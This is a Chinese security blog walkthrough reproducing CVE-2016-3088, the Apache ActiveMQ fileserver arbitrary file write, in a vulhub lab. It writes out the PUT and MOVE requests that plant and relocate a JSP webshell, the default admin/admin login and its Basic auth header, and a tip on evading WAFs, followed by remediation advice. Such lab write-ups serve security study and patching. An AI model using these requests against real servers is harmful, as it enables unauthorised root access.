追洞计划——ActiveMQ任意文件写入漏洞

admin 2024年5月18日10:41:25评论28 views字数 2745阅读9分9秒阅读模式

漏洞名称:ActiveMQ任意文件上传漏洞

漏洞编号:CVE-2016-3088

影响版本:Apache ActiveMQ 5.x~5.14.0

•该漏洞基于fileserver应用,ActiveMQ在5.12.x~5.13.x版本已经默认关闭fileserver,但是被开启•并且5.14.0之后就将fileserver彻底删除了•只有目标的fileserver服务开启,才存在该漏洞

随着ActiveMQ的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口

登录的默认账密:admin/admin

漏洞产生原因:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中

•admin是管理员页面•api是接口•fileserver是储存文件的接口

admin和api都需要登录后才能使用,fileserver无需登录。

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入(PUT请求)文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件上传漏洞。

环境搭建

因为CVE-2016-3088这个漏洞环境在vulhub上有,所以这里我直接选择使用vulhub来搭建这个漏洞环境,漏洞环境位于vulhub中的ActiveMQ目录下

           追洞计划——ActiveMQ任意文件写入漏洞

具体的搭建这里就不讲了,搭建之后会开启两个端口服务,就是上面我们提到的ActiveMQ服务对应的两个端口

追洞计划——ActiveMQ任意文件写入漏洞

这里直接访问本机的8161端口即可来到ActiveMQ的web页面

复现步骤

vulhub靶机:192.168.149.129

物 理 机:172.21.126.244

Web页面:http://192.168.149.129:8161

访问之后页面如下:

追洞计划——ActiveMQ任意文件写入漏洞

探测版本信息

访问如下页面即可探测到该ActiveMQ应用的版本信息

http://host:8161/admin/index.jsp?printable=true

注意:因为admin应用是管理员页面,所以需要登录,尝试默认密码登录即可

结果如下

追洞计划——ActiveMQ任意文件写入漏洞

可以看到目前的版本是5.11.1,为存在漏洞的应用版本,尝试利用该漏洞

探测绝对路径

访问如下路径,该路径是一个测试页面,展示了ActiveMQ应用的绝对路径

http://host:8161/admin/test/systemProperties.jsp

如下,找到activemq.home,即为该应用的绝对路径,如下

追洞计划——ActiveMQ任意文件写入漏洞

上传webshell

PUT /fileserver/2.txt HTTP/1.1Host: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 120976webshell

这个请求体的位置就是jsp一句话木马的内容,而请求fileserver/2.txt就是利用fileserver支持put请求写入文件的特性,写入2.txt,那有人问了,为什么不直接写入jsp文件,而是写入为txt文件?

这是因为前面也讲到了,fileserver虽然支持put请求写入文件,但是无法解析jsp,所以只需要写入一个txt文件,待会再利用move请求移动文件的同时进行重命名修改后缀名即可

直接写入jsp文件也行,只是动静稍微大一点,隐蔽性差点,如果存在上传的waf就很可能被kill了,我们的目标是先把我们的马上传上去,动静自然越小越好

追洞计划——ActiveMQ任意文件写入漏洞

回显204即为上传成功,注意这里要使用PUT请求

此时可以访问上传的路径看看文件是否被成功上传

http://host:8161/fileserver/2.txt

这里的2.txt是刚才put请求中上传的文件,师傅们根据自己的场景来就行

访问之后结果如下

追洞计划——ActiveMQ任意文件写入漏洞

可以看到已经成功上传了

移动木马位置

这里已经成功上传了,但是还有一个问题,这个fileserver目录下的jsp文件无法解析,这时候应该怎么办呢?这是我们就可以利用fileserver支持的另一个请求——move(将木马的位置移动到能够解析的位置)

MOVE /fileserver/2.txt HTTP/1.1              Destination: file:///opt/activemq/webapps/api/2.jsp              Host: localhost:8161              Accept: */*              Accept-Language: en              User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)              Connection: close              Content-Length: 0

这里的destination请求头的值就是你要移动的目标位置,因为我这里的靶场探测到目标的ActiveMQ的绝对路径下的/opt/activemq目录,所以这里我们选择把木马移动到activemq的webapps/api目录下,如下

追洞计划——ActiveMQ任意文件写入漏洞

同样的,204回显代表移动成功,此时可以访问如下路径查看是否成功移动(需要登录)

http

http://host:8161/api

可以看到已经成功移动到了api目录下

追洞计划——ActiveMQ任意文件写入漏洞

webshell使用

我们可以访问这个2.jsp文件,看看木马能否正常使用

追洞计划——ActiveMQ任意文件写入漏洞

可以看到,能够正常访问和解析,但是有报错,这个不影响,尝试命令执行

追洞计划——ActiveMQ任意文件写入漏洞

可以看到直接就是root权限,因为api目录是root权限创建的

尝试连接webshell管理工具,这里我使用的蚁剑

追洞计划——ActiveMQ任意文件写入漏洞

这里还有一个问题,webshell连接工具在连接时会显示无法连接,甚至出现报错,请问这是什么原因呢?

其实仔细想一下就能理解为什么会报错了,你想一下你浏览器访问到这个2.jsp的前提是什么?前提就是登录,不登录就无法查看,那我们应该怎么让蚁剑模拟登录呢?——设置Cookie

这里的Cookie没有鉴权作用,真正起到鉴权作用的是

Authorization: Basic YWRtaW46YWRtaW4=

解密之后就是admin,admin也就是账号密码

追洞计划——ActiveMQ任意文件写入漏洞

再测试连接

追洞计划——ActiveMQ任意文件写入漏洞

连接成功

追洞计划——ActiveMQ任意文件写入漏洞

成功拿到目标机器的root权限

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 confjetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

追洞计划——ActiveMQ任意文件写入漏洞

原文始发于微信公众号(白昼安全团队):追洞计划——ActiveMQ任意文件写入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日10:41:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   追洞计划——ActiveMQ任意文件写入漏洞https://cn-sec.com/archives/2044014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息